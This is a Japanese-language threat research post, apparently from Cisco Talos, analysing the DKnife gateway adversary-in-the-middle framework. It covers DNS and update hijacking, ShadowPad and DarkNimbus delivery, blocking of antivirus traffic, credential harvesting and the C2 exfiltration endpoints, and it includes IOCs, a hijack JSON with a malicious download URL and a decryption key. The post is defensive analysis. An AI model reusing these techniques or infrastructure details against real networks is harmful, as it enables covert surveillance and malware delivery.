Cisco Japan Blog

エッジデバイスを狙う脅威:中国系によるゲートウェイ 監視 AitM フレームワークの開示

4 min read



  • Cisco Talos は高機能なゲートウェイ監視と Adversary-in-the-middle(AitM)のフレームワークである「DKnife」を発見しました。このフレームワークはディープ パケット インスペクションの実行、通信の操作、ルータとエッジデバイスを経由したマルウェア配信を行う Linux ベースの 7 つのインプラントからなっています。アーティファクトメタデータによると、DKnife は遅くとも 2019 年には使用されていて、コマンドアンドコントロール(C2)は 2026 年 1 月時点でも依然として活動しています。
  • DKnife の攻撃対象は PC、モバイルデバイス、モノのインターネット(IoT)デバイスなど広範なデバイスにわたっています。DKnife は、バイナリのダウンロードと Android アプリケーションの更新をハイジャックすることで、ShadowPad バックドアと DarkNimbus バックドアを配信し、これらとやり取りします。
  • DKnife の主要ターゲットは中国語話者です。中国語サービスから取得するログイン情報、中国の著名なモバイルアプリケーションに対応した窃取モジュール、中国メディアドメインを参照するコードなどがそれを示唆しています。攻撃で配信されるコード、構成ファイル、ShadowPad マルウェアで使用されている言語から、中国系の攻撃者がこのツールを運用していると確信を持って判断しています。
  • DKnife と WizardNet を配信する攻撃がリンクしていることを発見しました。後者は別の AitM フレームワークである Spellbinder によって配信されることが判明しているモジュール型バックドアです。このことから、これらの開発や運用が元々同一であったことが推察されます。

 

背景

2023 年以降、Cisco Talos は MOONSHINE エクスプロイトキットとそれが配信する DarkNimbus バックドアを継続して追跡してきました。このエクスプロイトキットとバックドアはかつて Android と iOS のエクスプロイトの配信に使用されていました。DarkNimbus のサンプルを探す過程で、Talos は DarkNimbus バックドアと同じ C2 サーバーと通信する Executable and Linkable Format(ELF)のバイナリを発見しました。これは、gzip 圧縮アーカイブを取得していました。分析した結果、このアーカイブには開発者が「DKnife」と呼ぶ高機能なゲートウェイ監視と AitM のフレームワークが含まれていました。アーティファクトメタデータによると、このツールは遅くとも 2019 年には使用されていて、C2 は 2026 年 1 月時点でも依然として活動しています。

 

DKnife と WizardNet 攻撃とのリンク

Talos が DKnife に関連付けられた C2 インフラストラクチャに注目するなかで、以前に確認された DKnife の展開とそっくりなオープンポートと構成を備えた別のサーバーが特定されました。特にホスト(43.132.205[.]118)は、DKnife のインフラストラクチャに特徴的なポートアクティビティを示し、さらに WizardNet バックドアをポート 8881 でホスティングしていることが判明しました。

WizardNet は 2025 年 4 月に ESET によって初めて明らかにされたモジュール型のバックドアです。これは、IPv6 ステートレスアドレス自動設定(SLAAC)スプーフィングを使用して AitM 攻撃を実行するフレームワーク Spellbinder を介して展開されたことが判明しています。

WizardNet サーバーからのネットワーク応答は、ESET による分析で判明した戦術、技術、手順(TTP)に非常に合致しています。特に、このサーバーが配信した JSON フォーマットのタスク指示には、minibrowser11_rpl.zip という名前のアーカイブを指すダウンロード URL が記述されていました。このアーカイブには WizardNet バックドアダウンローダーが含まれています。

 

{

“CSoftID”: 22,

“CommandLine”: “”,

“Desp”: “1.1.1160.80”,

“DownloadUrl”: “http://43.132.205.118:81/app/minibrowser11_rpl.zip”,

“ErrCode”: 0,

“File”: “minibrowser11.zip”,

“Flags”: 1,

“Hash”: “cd09f8f7ea3b57d5eb6f3f16af445454”,

“InstallType”: 0,

“NewVer”: “1.1.1160.900”,

“PatchFile”: “QBDeltaUpdate.exe”,

“PatchHash”: “cd09f8f7ea3b57d5eb6f3f16af445454”,

“Sign”: “”,

“Size”: 36673429,

“VerType”: “”

}

 

Spellbinder の TTP は、アプリケーションの正規の更新リクエストをハイジャックし、攻撃対象を悪意のあるダウンロード URL にリダイレクトする偽装応答を返信するもので、Android アプリケーションの更新を侵害する DKnife の方法と類似しています。Spellbinder は、DarkNimbus バックドアを配信することも確認されています。この C2 インフラストラクチャは、以前、DKnife が初めて発見される端緒となったものです。これらのケースで特定された URL のリダイレクトパス(http[:]//[IP]:81/app/[アプリ名])とポート構成は、DKnife によって使用されるものと同じです。このことから、これらの開発や運用が元々同一であったことが推察されます。

 

ターゲットの範囲

DKnife フレームワークから得られたアーティファクトによると、この攻撃は主に中国語話者を対象にしていると考えられます。この評価の裏付けとなる痕跡としては、データの収集と処理のロジックが中国のメールサービスを対象に設計されていることが明らかなこと、解析モジュールと窃取モジュールが中国のモバイルアプリケーションや WeChat などのメッセージング プラットフォームに合わせてカスタマイズされていることが挙げられます。さらに、バイナリファイルと構成ファイルの両方で、中国メディアドメインを参照するコードが特定されました。下のスクリーンショットは Android アプリケーションのハイジャック応答を示したものです。中国のタクシーサービスとライドシェアのアプリケーションをターゲットとしています。

Talos が分析に使用したのは単一の C2 サーバーから入手した構成ファイルであることに注意することが重要です。つまり、地域が異なるターゲット範囲に対して別のサーバーまたは構成を採用している可能性が残っています。DKnife 攻撃と WizardNet 攻撃の関連性や、WizardNet の活動がフィリピン、カンボジア、アラブ首長国連邦をターゲットにしてきたとする ESET のレポートを考慮すると、ターゲット範囲がさらに広い可能性や多言語である可能性を否定できません。

 

図 1. Android アプリケーションの更新で使用されるマニフェスト応答

 

攻撃者が中国語話者であることを示す痕跡

DKnife には開発者や運用者が簡体字中国語に慣れていることを示すアーティファクトがいくつか含まれています。DKnife の構成ファイル(図 2 参照)には、簡体字中国語で記述されたコメントが散見されます。

 

図 2. 構成ファイルのコメントで使用された簡体字中国語の例

 

DKnife のコンポーネントの 1 つに yitiji.bin と名付けられたものがあります。「Yitiji」という語は「オールインワン」を意味する「一体机」のピンイン(標準中国語の正式なローマ字表記)です。DKnife では、このコンポーネントは、デバイスのローカルインターフェイスを開き、このシナリオにある単一のデバイスを通じて通信をルーティングする役割を担っています。

さらに DKnife のコードを見ると、ユーザーアクティビティをリモート C2 サーバーにレポートとして返信する際に、複数のメッセージでアクティビティのタイプを示す簡体字中国語のラベルが使用されています。

 

図 3. コードに埋め込まれリモート C2 に送信された簡体字中国語のメッセージ

 

DKnife:ゲートウェイ監視と AitM のフレームワーク

DKnife は、ターゲットのネットワークで通信の操作を実行する 7 つの ELF コンポーネントから構成された高機能なゲートウェイ監視フレームワークです。コア機能を提供する 7 つの ELF コンポーネントに加え、このフレームワークには一連の構成ファイル(リスト全体は付録を参照)、自己署名証明書、フィッシングテンプレート、ハイジャックとフィッシングに使用する偽装 HTTP 応答、ログファイル、バックドアバイナリも用意されています。

このフレームワークは侵害されたデバイスにインストールされたバックドアと連携するよう設計されています。主な機能としては、バックドアのための更新 C2 の提供、ドメインネームシステム(DNS)のハイジャック、Android アプリケーションの更新とバイナリダウンロードのハイジャック、ShadowPad バックドアと DarkNimbus バックドアの配信、セキュリティ製品の通信の選択的な遮断、ユーザーアクティビティのリモート C2 サーバーへの持ち出しが挙げられます。以下のセクションでは DKnife の主要な機能を取り上げ、7 つの ELF バイナリが連携してこれを実現する方法を解説します。

 

ターゲットとなるプラットフォーム

DKnife バイナリは Linux ベースのデバイス上で動作する 64 ビット Linux(x86-64)ELF インプラントです。コンポーネントの 1 つである remote.bin は、「libcrypto.so.10」ライブラリをインポートします。このことから、CentOS/RHEL ベースのプラットフォームをターゲットにしていることがわかります。PPPoE、VLAN タギング、ブリッジドインターフェイス(br0)、調整可能な MTU と MAC のパラメータといった構成要素から、DKnife が Linux ベースのファームウェアを実行しているエッジデバイスまたはルータデバイスを対象にカスタマイズされていることが推察されます。

図 4. wxha.conf 構成ファイル

 

主な機能

ディープ パケット インスペクション(DPI)のロジックと DKnife のモジュール型設計によって、ユーザーアクティビティのひそかな監視から正規のダウンロードを悪意のあるペイロードに置き換える積極的なインライン攻撃にいたるまで、さまざまな通信監視攻撃が可能になっています。以下のセクションでは、次のようなフレームワークの主要機能に焦点を当てます。

・Android と Windows の DarkNimbus マルウェアに対する C2 の提供
・DNS ハイジャック
・Android アプリケーションのバイナリ更新のハイジャック
・Windows バイナリのハイジャック
・ウイルス対策の通信の遮断
・ユーザーアクティビティの監視

 

Android と Windows の DarkNimbus バックドアに対する更新された C2 の提供

以前に公開された DarkNimbus バックドアに関する調査では、一部のサンプルがカスタムプロトコルを使用して C2 サーバーと通信していたことにアナリストが気づき、このバックドアが AitM 環境内で動作していたとの仮説を提起しています。Talos による DKnife の発見によってこの仮説が正しいことが裏付けられました。

DKnife は DarkNimbus の Android と Windows の両バリアントと連携するよう設計されています。Windows バージョンでは、dknife.bin コンポーネントは UDP 通信を検査しこれをポート 8005 に送信します。文字列マーカー DKGETMMHOST を含むリクエストを識別すると、C2 サーバーアドレスを指定した応答を作成し返信します。この応答には DKMMHOST と DKFESN の 2 つのパラメータが含まれています。DKMMHOST の値は DKnife の構成ファイル(/dksoft/conf/server.conf)から読み込まれたものです。このファイルには MMHOST URL=[value] という行が含まれています。DKFESN の値は「192.168.92.92:8080」にある内部サーバーから DKnife が取得したデバイス識別子を表します。

 

図 5. DarkNimbus の Windows バージョンから送信された「Obtain C2」リクエストの ハンドラを示す DKnife コードの抜粋

 

Android バリアントでは、このバックドアは Baidu の URL「 http[:]//fanyi.baidu[.]com/query_config_dk」に接続して、その C2 情報を取得しようとします。この URL を使用しても、Baidu 自体からは何の応答も返されません。その代わり、DKnife が認識可能なトリガーとして機能し、DKnife がこのリクエストを傍受して C2 応答を注入します。

 

図 6. Android の DarkNimbus サンプル e50247787d2e12c1e8743210a0c0e562cf694744436d93920a037d2f927f533 のコード

 

図 7. DarkNimbus の Android バージョンから送信された「Obtain C2」リクエストのハンドラを示す DKnife コード

 

DNS ハイジャック

DKnife フレームワークは、DNS ベースのハイジャックと攻撃のロジックを制御する際に、主に 2 つの構成ファイルを使用します。dns.conf ファイルは、DNS の傍受に使用するグローバルなキーワード対 IP のマッピングルールとフレームワークパラメータを定義するものです。perdns.conf ファイルは、DNS 攻撃タスクをターゲットごとまたは攻撃ごとに定義することでこれを拡張するもので、各攻撃の間隔や期間といったタイミングパラメータが記述されています。C2 サーバーから取得したアーカイブには、perdns.conf のみが存在していて、アクティブな攻撃データではなく設定のためのテンプレートが含まれていました。

 

図 8. perdns.conf のテンプレート

 

DKnife は IPv4 と IPv6 の両方の DNS ハイジャックに対応しています。

  • IPv4(A)DNS ハイジャック
    • 構成済みのドメインの場合:dns.conf から得たドメインごとの IPv4 で応答
    • test.com の場合:8.8.8.8(およびログ)で応答
    • JD 関連のドメイン(「api.m.jd.com」、「beta-api.m.jd.com」、「api.jd.co.th」または「beta-api.jd.co.th」)の場合:10.3.3.3 で応答
  • IPv6(AAAA)DNS ハイジャック
    • 構成済みのドメインまたは test.com の場合:固定 IPv6 IP 240e:a03:a03:303:a03:303:a03:303(偽造)で応答

プライベート IP アドレス 10.3.3.3 は DKnife の yitiji.bin コンポーネントが作成したローカルインターフェイスに属します。DKnife は、悪意のあるバイナリの配信にこのローカルインターフェイスを使用します(以下のセクションを参照)。偽造された AAAA 応答は実在のパブリックアドレスではありません。DKnife がこの偽造された IPv6 に向けられた通信を検出すると、アドレスの最後の 8 バイトをチェックして、これをローカル インターフェイス アドレス 10.3.3.3 に変換します。

さらにこのコードは、メールサービスに関連付けられたドメインを特別な方法で改ざんします。クエリされたドメインを取得して末尾にピリオドがある場合は削除したうえで、「.」で分割して一番左にあるラベルを抽出します(たとえば「mail.example.com」なら「mail」)。さらに同じドメインごとの構成の中からそのラベルを見つけ出します。攻撃フラグが有効化されクールダウン期間が経過したら、即座に構成された応答を注入し、元の応答を置き換えます。

 

Android アプリケーションのバイナリ更新のハイジャック

図 9. Android APK のダウンロードをハイジャックするワークフロー

 

DKnife は、Android アプリケーションの更新をハイジャックして置き換えることができます。その手段となっているのが更新マニフェストリクエストの傍受です。Android アプリケーションが APK 更新マニフェストリクエストを送信すると、DKnife がこれを傍受し、構成ファイルを参照したうえで、対応する JSON 応答ファイルを選択して返信します。この応答には、アドレス 10.3.3.3 の URL にリダイレクトするダウンロード URL が含まれています。このアドレスを DKnife が認識して yitiji.bin が作成したローカルエリアネットワーク(LAN)にルーティングすることで、正規の更新 APK の代わりにマルウェアを配信します。

構成ファイル /dksoft/conf/url.cfg では、通信ブロッキング、Android と Windows のプラットフォームでのフィッシング、実行ファイル(.exe)のハイジャック、ログイン情報をフィッシングするページの表示に使用されるルールと応答が定義されています。
図 11 に示すように、このファイルは [リクエスト URL] [応答 JSON ファイル] のフォーマットに従っています。

 

図 10. 構成ファイル url.cfg に定義されたターゲットサイトとリクエストされた URL に対して DKnife が送信する更新マニフェストファイルの応答

 

DKnife アーカイブの /bin/html/dkay-scripts フォルダには、アプリケーションをハイジャックするために構成された JSON ファイルが 185 個あります。ターゲットとなっているアプリケーションは著名な中国語のサービス(一部は中国のみで利用可能)がほとんどで、ニュースメディア、ビデオストリーミング、画像編集アプリ、e-コマースプラットフォーム、タクシーサービス プラットフォーム、ゲーム、ポルノビデオストリーミングなどがその例です。中国の写真編集アプリケーションの更新リクエストをハイジャックするために使用される応答の例を下に示します。

 

図 11. APK ダウンロードをハイジャックするための応答マニフェストファイル(11184.json

 

ShadowPad と DarkNimbus の配信を目的とした Windows バイナリのハイジャック

Android の更新のハイジャックに加えて、DKnife は Windows やその他のバイナリダウンロードのハイジャックにも対応しています。初期化の過程でハイジャックルールがセットアップされます。DKnife は、/dksoft/conf/rules.aes にあるルール構成ファイルの読み取りを試み、Tiny Encryption Algorithm(TEA)のバリアントを使用して復号します。このバリアントは Tencent の古い OICQ/QQ ログインプロトコルで採用されていたもので、通常 QQ TEA と呼ばれています。DKnife は、キー dianke0123456789 を使用してこのファイルを復号し、復号済みのファイルを rules.conf として保存します。

図 12. QQ TEA 復号アルゴリズム

ダウンロードしたアーカイブから rules.aes ファイルは得られませんでした。しかし、コード分析によれば、rules.conf は照合対象のリクエスト、返信する内容、スロットルするタイミング、応答の追跡を定義する構成となっています。このルールには以下のような情報が含まれています。

 

行内のフィールド 説明
id=<number> ルール ID
host=<regex> 照合するホスト IP
user_agent=<regex> 照合するユーザーエージェント
url=<regex> 照合する URL
file=<relative path> 「/dksoft/html/dkay-scripts/」の下の相対ファイル名
location=<HTTP Location> 302 リダイレクトに使用する HTTP ロケーション
msg=<plain text> 運用者へのメッセージ
interval=<sec> 同一の攻撃対象に 2 回のインジェクションを行う場合の最小間隔(秒)
duration=<sec> トリガーされたルールがアクティブになっている期間

 

ルールがメモリ上のデータ構造に読み込まれた後、rules.conf ファイルはデバイスから削除されます。HTTP リクエストの Host と URI が構成されたルールと一致すると、DKnife がルールの期間とインターバルタイマーを評価し、トリガーするかどうかを決定します。ルールが起動し、リクエストされたファイル名の拡張子(「.exe」、「.rar」、「.zip」、「.apk」など)が一致すると、DKnife はルールのデータフィールドから取得したロケーション URL を持つ HTTP 302 リダイレクトを偽造します。

 

図 13. バイナリダウンロードと照合し HTTP 302 で応答するコード

 

バイナリダウンロード URL が特定のパターン(「.exe」拡張子がクエリ記号に続く)と一致する場合、ファイル名が install.exe に置き換えられます。

図 14. .exe ダウンロードファイル名を置き換えるコード

 

ShadowPad バックドアと DarkNimbus バックドア

install.exe ファイル(SHA256:2550aa4c4bc0a020ec4b16973df271b81118a7abea77f77fec2f575a32dc3444)はダウンロードされたアーカイブのパス /dkay-scripts/ の下にあります。これは 3 つのバイナリを含む RAR 自己解凍パッケージです。これらは実際は ShadowPad バックドアと DarkNimbus バックドアで、両方とも中国系の攻撃者による使用が報告 [12] されています。起動されると、正規の .exe(TosBtKbd.exe)が ShadowPad DLL ローダー(TosBtKbd.dll)のサイドローディングを行い、次にこれが DarkNimbus DLL バックドア(TosBtKbdLayer.dll)のローディングを行います。この DarkNimbus バックドアが Cloudflare DNS アドレス(1.1.1.1)を呼び出します。これを DKnife が傍受し実際の C2 IP を返します。

 

図 15. DKnife によって配信される Shadowpad バックドアと DarkNimbus バックドア

 

ShadowPad のサンプルはこれまで報告されていませんが、以前に報告されたサンプルに非常に類似しています。異なるアンパック XOR シードキーを使用していますが、同一のアンパックアルゴリズムを採用しています。

 

図 16. ShadowPad ローダーサンプル(SHA256:43891d3898a54a132d198be47a44a8d4856201fa7a87f3f850432ba9e038893a)で使用されているアンパックアルゴリズム

 

図 17. Trend Micro のサンプル(SHA256:c59509018bbbe5482452a205513a2eb5d86004369309818ece7eba7a462ef854)で使用されているアンパックアルゴリズム

 

ShadowPad のサンプル(.exe と .dll の両方)は 2 つの証明書を使用して署名されています。両方とも署名者「四川奇雨网络科技有限公司」によって発行されたものです。公開情報によれば、これは四川省成都に所在する企業で、コンピュータソフトウェアの開発やネットワーク通信デバイスの提供を専門としています。この署名者に着目することで、Talos は ShadowPad バックドアと DarkNimbus バックドアを含むサンプルを 17 個発見しました。

 

ウイルス対策の通信の遮断

DKnife の通信検査モジュールは、ウイルス対策製品や PC 管理製品からの通信を積極的に特定してこれに干渉します。HTTP ヘッダー(GET リクエストの DPUname ヘッダーや POST リクエストの x-360-ver ヘッダーなど)の検索や既知のサービスドメイン名との照合によって 360 Total Security を検出します。一致するものが発見されたら、モジュールが通信をドロップするか、偽造された TCP RST パケットを使用して通信を遮断します。同様に、Tencent サービスや PC 管理のエンドポイントへの接続を探し、これを遮断します。

認識されている Tencent 関連のドメイン:

・dlied6.qq.com 
・pcmgr.qq.com 
・pc.qq.com 
・www.qq.com/q.cgi 

360 Total Security 関連のドメインとの照合に使用されるキーワード:

・360.cn 
・360safe 
・qihucdn 
・duba.net 
・mbdlog.iqiyi.com 

 

ユーザーアクティビティの監視

DKnife は、通信を検査することで、ユーザーのネットワークアクティビティを監視し、リモート C2 にリアルタイムでレポートします。確認されたテレメトリのカテゴリとしては、メッセージング(Signal と WeChat における音声/ビデオ通話、送信されたテキスト、受信された画像、アプリ内での記事の閲覧などのアクティビティ)、ショッピング、ニュースの閲覧、地図の検索、ビデオストリーミング、ゲーム、デート、タクシーとライドシェアのリクエスト、その他のユーザーアクションなどが挙げられます。アクティビティのレポートのほとんどは、サービス/プラットフォームのドメインまたは URL に対するリクエストを監視することでトリガーされます。レポートの際には、レポートするアクティビティに対応したメッセージが埋め込まれて送信されます。例として、Signal のメッセージング アクティビティをレポートするコードを図 18 に示します。リモート C2 に送信されるメッセージは「Signal の暗号化チャットアプリケーションの使用」という意味になります。

 

図 18. Signal 通信をレポートするコード

 

下の表に確認されたテレメトリのカテゴリと埋め込まれるメッセージを示します。

 

WeChat アクティビティ 微信打语音或视频电话(WeChat を使用した音声通話またはビデオ通話)
微信发送一条文字消息(WeChat を使用したテキストメッセージの送信)
微信发送或者接收图片(WeChat を使用した写真の送受信)
微信打开公众号看文章(WeChat を使用した公式アカウントや記事の確認)
Signal の使用 使用signal加密聊天APP(Signal の暗号化チャットアプリケーションの使用)
ショッピングアクティビティ 查询**商品信息(** に関する製品情報の問い合わせ)
鉄道切符に関する情報の問い合わせ 查询火车票信息(鉄道切符に関する情報の問い合わせ)
地図の検索 查看**地图(地図の表示)
ニュースの閲覧 ****看新闻(ニュースの閲覧)
デートアクティビティ ****打开时(デートアプリを起動したタイミング)

 

電子メール/プラットフォームのログイン情報の収集とフィッシング

DKnife は、中国の主要な電子メールプロバイダーからログイン情報を収集でき、他のサービスでもフィッシングページをホスティングできます。電子メールのログイン情報を収集する場合、sslmm.bin コンポーネントが自分自身の TLS 証明書をクライアントに提示し、POP3/IMAP 接続を終端して復号を行ったうえで、プレーンテキストのストリームを検査してユーザー名とパスワードを抽出します。抽出されたログイン情報は「PASSWORD」とタグ付けされて postapi.bin コンポーネントに転送され、最終的にリモート C2 サーバーにリレーされます。

 

図 19. パスワードを転送するコード

 

DKnife ではフィッシングページに誘導することもできます。フィッシングルートは url.cfg で定義されていて、いくつかのフィッシングテンプレートが /dkay-scripts/ の下で発見されています。発見されたページすべてで、パスが dklogin.html で終わるエンドポイントに収集されたパスワードが送信されるようになっています。しかし、ローカルのスクリプトディレクトリに dklogin.html は見つかりませんでした。

 

図 20. フィッシングページのセットアップ

 

Talos は、上に述べた機能以外に、DKnife に IoT デバイスをターゲットにしていると思われる機能があることを確認しました。デバイスベンダーと連携して緩和策に取り組んでいます。

 

DKnife ダウンローダー

追跡の結果 Talos が発見した ELF バイナリ(17a2dd45f9f57161b4cc40924296c4deab65beea447efb46d3178a9e76815d06)は DKnife フレームワークに必要なダウンロードと初期セットアップを実行するダウンローダーです。実行すると、構成ファイルを /dksoft/conf/server.conf から読み込んで C2 サーバーをセットアップしようとします。server.conf ファイルには UPDATE URL=[config] のフォーマットで C2 構成が記述されています。このファイルが存在しない場合、このバイナリは埋め込まれた C2 URL http://47.93.54[.]134:8005/ をデフォルトとして使用します。

C2 の構成が終了したら、ネットワーク インターフェイスの MAC アドレスに基づいてホストデバイスの UUID を取得するか生成し、/etc/diankeuuid に保存します。UUID はフォーマット YYYYMMDDhhmmss[MAC1][MAC2](たとえば 20240219165234000c295de649)に従っています。さらに、このアップデータは 32 文字からなる 16 進数の MD5 チェックサムを /dksoft/conf/<UUID>.ini に保存し、後で C2 サーバーからの更新を検証する際に使用します。

このコードは、/etc/rc.local ファイルを変更することで永続性を獲得します。このファイルは通常、システムがサービスのブートや初期化を行った後にコマンドやスクリプトを実行するために使用されるものです。このアップデータは、自身のコマンドをマーカー #startdianke とマーカー #enddianke の間に追加します。さらに、現在実行中の実行ファイルを /dksoft/update/ ディレクトリにコピーしたうえで、対応するエントリを /dksoft/update/[実行ファイルのパス] auto に追加して、システムが起動するたびにバイナリが自動的に実行されるようにします。

DKnife 展開用のフォルダを作成した後、ダウンローダーが C2 から DKnife のアーカイブを取得し、nohup [ファイルパス] 2>/dev/null 1>/dev/null & を使用して /dksoft/bin/ にあるすべてのバイナリを起動します。このフォルダには 7 つのバイナリが含まれていて、それぞれが DKnife フレームワーク内で別々の役割を担います。

 

DKnife の 7 つのコンポーネント

DKnife の 7 つのインプラントは、DPI エンジン、データのレポート、AitM 攻撃のためのリバースプロキシ、悪意のある APK のダウンロード、フレームワークの更新、通信の転送、リモート C2 との P2P 通信チャネルの構築という 7 つの役割を担っています。コンポーネントとその役割を下の表にまとめます。

 

ELF インプラント 役割 説明
dknife.bin DPI & 攻撃エンジン DKnife のメインエンジン。ディープ パケット インスペクション、ユーザーアクティビティのレポート、バイナリダウンロードのハイジャック、DNS のハイジャックなどに使用するロジックを含む。
postapi.bin データレポーター 通信へのラベル付けやリレーを行うコンポーネントとして機能しつつ、DKnife からの通信を受信し、リモート C2 にレポートを送信する。
sslmm.bin リバースプロキシ HAProxy から改変されたリバース プロキシ サーバー モジュール。TLS の終端処理を行い、電子メールの復号と URL の再ルーティングを行う。
mmdown.bin アップデータ 悪意のある Android APK のダウンローダー/アップデータ。C2 に接続して攻撃に使用する APK をダウンロードする。
yitiji.bin パケットフォーワーダー ブリッジド TAP インターフェイスをルータ上に作成して、攻撃者の注入による LAN 通信のホスティングとルーティングを行う。
remote.bin P2P VPN カスタマイズされた N2N(P2P の一種)VPN クライアントコンポーネントで、リモート C2 への通信チャネルを作成する。
dkupdate.bin アップデータ & ウォッチドッグ アップデータと、コンポーネントのキープアライブを行うウォッチドッグの役割を担う。

 

下のグラフに DKnife の 7 つのコンポーネントが連携して動作する仕組みを示します。

 

図 21. DKnife の 7 つのコンポーネントの機能

 

DKnife.bin

dknife.bin インプラントは DKnife の頭脳として動作するメインコンポーネントです。「主な機能」セクションの説明にあるように、パケットインスペクションと攻撃ロジックのすべてを担っています。実行されると、このインプラントはフレームワークの初期セットアップを行います。構成ファイル /dksoft/conf/wxha.conf を読み込んで、スニッフィング インターフェイス(INPUT_ETH)と攻撃者インターフェイス(ATT_ETH)を検索します。構成ファイルが存在しない場合のデフォルトインターフェイスは両方とも eth0 です。さらに構成ファイルを読み込んで、攻撃ルールとリモート C2 を探します。

パケットインスペクションが機能している間、dknife.bin は、収集したデータ、ユーザーアクティビティ、攻撃のステータス、平均スループットなどの情報を、デバイスの 7788 ポートでリスニングしているリレーコンポーネント postapi.bin にレポートします。レポートパケットは、256 バイトの UDP データグラムで、7 バイトの固定プレフィックス DK7788 を備えています。オフセット 0x40 の位置に情報のタイプを示すラベルが添付されています。タイプとしては、IMSI 情報であることを示す DKIMSI、収集したユーザーアカウントであることを示す USERID、WeChat アクティビティのレポートであることを示す WECHAT、攻撃の結果であることを示す ATKRESULT などがあります。レポートのタイプごとに、対応するレポート値のフォーマットが用意されています。いくつかの例を下のグラフに挙げました。

 

図 22. dknife.bin から postapi.bin に送信されるレポート UDP データグラム

 

図 23. メッセージ レポート フォーマット

 

Postapi.bin

これは、DKnife のデータリレーコンポーネントです。dknife.bin から転送された UDP データフレームを受信して、データの処理、識別、ラベル付けを行い、リモート C2 サーバーに送信します。UDP データフレームを受信すると、DK7788 プレフィックスを検証してから、デバイス ID、MAC アドレス、送信元と接続先の IP とポートを抽出します。次に、ファイル ssluserid.conf に定義されたルールに基づいて、さらに多くの対象となるデータを持ち出します。このファイルはターゲットとなるサービス/プラットフォームと対応するスクレイピング対象データを定義するルールブックです。このルールでは以下のスクレイピング方法が定義されています。

  • get_url:GET リクエストの URL から値をスクレイプ
  • get_cookie:GET の Cookie ヘッダーからスクレイプ
  • post_url:POST の URL からスクレイプ
  • post_cookie:POST の Cookie ヘッダーからスクレイプ
  • post_content:POST の本文からスクレイプ

それぞれのルールでは、収集するデータフィールドも定義されています。デバイス ID、電話番号、IMEI/IMSI、MAC、UUID、IP、ユーザー名がその例です。DKnife のターゲットとなっているのは、数十におよぶ中国語の著名なモバイルアプリケーションや Web アプリケーションで、その中には中国のユーザーしか利用できないものもあります。下の図に構成ファイルに記述されているルールの一部を示します。

 

図 24. ssluserid.conf にあるルール

 

Postapi.bin が読み込むのは構成ファイル server.conf で、ここからデータの持ち出しに使用するリモート C2 サーバーのアドレスを取得します。このファイルがない場合は、デフォルトとして https://47.93.54[.]134:8003 を使用します。このコンポーネントは libcurl を使用して、さまざまなタイプの持ち出しデータやレポートデータを送信します。これには、特定の API エンドポイントへの HTTP POST リクエストが使用されます。以下の表にレポート URL と対応する送信データを示します。

 

バイナリ内のデフォルト URL 送信データ
https://47.93.54[.]134:8003/protocol/tcp-data URL、ヘッダー、オプションの本文(Base-64)からなる HTTP または DNS の完全なレコード、未加工パケットの抜粋
https://47.93.54 [.] 134:8003/protocol/channel-trigger-log DKnife のステータスログ、デバッグログ
https://47.93.54 [.] 134:8003/protocol/virtual-id ホスト名に関連付けられたデバイス識別子のバンドル(IMEI、IMSI、電話番号、MAC、UUID、IP)
https://47.93.54 [.] 134:8003/protocol/user-account 収集されたユーザーログイン情報
https://47.93.54 [.] 134:8003/protocol/application アプリケーションごとの DNS/通信ハイジャックデータのポスト
https://47.93.54 [.] 134:8003/protocol/target-info 特定の加入者に関するオンライン/オフラインのハートビート:PPPoE、MAC、前回検出時刻、デバイス UUID
https://47.93.54 [.] 134:8003/public/bind-ip IP & UUID バインディング
https://47.93.54 [.] 134:8003/protocol/internet-action WeChat/QQ の「インターネットアクション」ログ(友達追加、ファイル送信など)
https://47.93.54 [.] 134:8003/protocol/attack-result 攻撃結果のログ

 

ポストされたデータの末尾には常に dkimsi=<IMSI> が記述されています。これは利用可能なときにパケットから抽出された IMSI またはモバイル識別子です。コード内には、デフォルトの IMSI 460110672021628 が設定されています。これは、中国のある通信事業者の IMSI です。

 

Sslmm.bin

このコンポーネントは、AitM 攻撃でリバースプロキシサーバーとして機能するもので、HAProxy の事前構成済みのカスタマイズされたビルドとして実装されています。主要な設定を sslmm.cfg から読み込んだうえで、url.cfg に定義されたルールに従って、リクエストのハイジャックと置き換えを行います。ハイジャックされた通信のコピーと実行結果が UDP データフレームにカプセル化され、postapi.bin コンポーネントに送信されます。このふるまいは、dknife.bin に実装されたものに類似しています。

sslmm.bin には、HAProxy の標準のプロキシ機能に加えてカスタムロジックが用意されていて、検査、ログ、持ち出しに使用されるほか、TLS の終端処理を行った後にクライアント HTTP(S) リクエストを条件に応じて書き換える際にも使用されます。コンテンツのインジェクションは、主に HTTP リクエスト行の置き換えによって実行され、攻撃者が制御するリソースに攻撃対象がリダイレクトされます。これらのリソースは通常、/dkay-scripts/ ディレクトリの下にホスティングされています。その結果生じたテレメトリとアーティファクトは、postapi.bin を介してリモート C2 インフラストラクチャにリレーされます。

動作上は、HAProxy 構成が /dksoft/conf/server.pem に保存された自己署名証明書を使用して HTTPS と mail-over-TLS ポート(443、993、995)の TLS を終端し、復号された通信を適切なバックエンドにプロキシとして送信します。管理/統計インターフェイスが 0.0.0.0:10800 で公開され、静的ログイン情報のみで保護されています。/dkay-scripts/ パスに一致するリクエストが選択的にプレーン HTTP にダウングレードされ、127.0.0.1:81 のローカルサービスにルーティングされます。これによって、クライアントにコンテンツを返送する前に応答の改変やインジェクションを行うことが可能になります。

この傍受モデルは、TLS MITM を透過的にするために、ゲートウェイが提示した証明書チェーンはエンドポイントが受け入れなければならないという、信頼性に関する重要な前提条件に依存しています。1 つの仮説は、関連するエンドポイントマルウェア(Windows と Android にまたがる広範な DarkNimbus ツールチェーンが想定される)がそのような信頼や弱体化された証明書検証の確立に使用された可能性があり、その結果、傍受の過程でホストに応じた証明書の提示が可能になったというものです。しかし、そのような信頼の確立や認証のバイパスが攻撃対象デバイスで実行されることを確認できるアーティファクトは得られていません。

 

図 25. リクエスト行インジェクションを実行するコード

 

図 26. HAProxy 構成の一部

 

Yitiji.bin

Yitiji.bin は、ブリッジド TAP インターフェイスをルータ上に作成して、攻撃者の注入による LAN 通信のホスティングとルーティングを行う DKnife のコンポーネントです。IP アドレス 10.3.3.3 と MAC アドレス 1E:17:8E:C6:56:40 を使用して「yitiji」と名付けられた仮想 TAP インターフェイスを作成し、このインターフェイスを実際のネットワークにブリッジします。

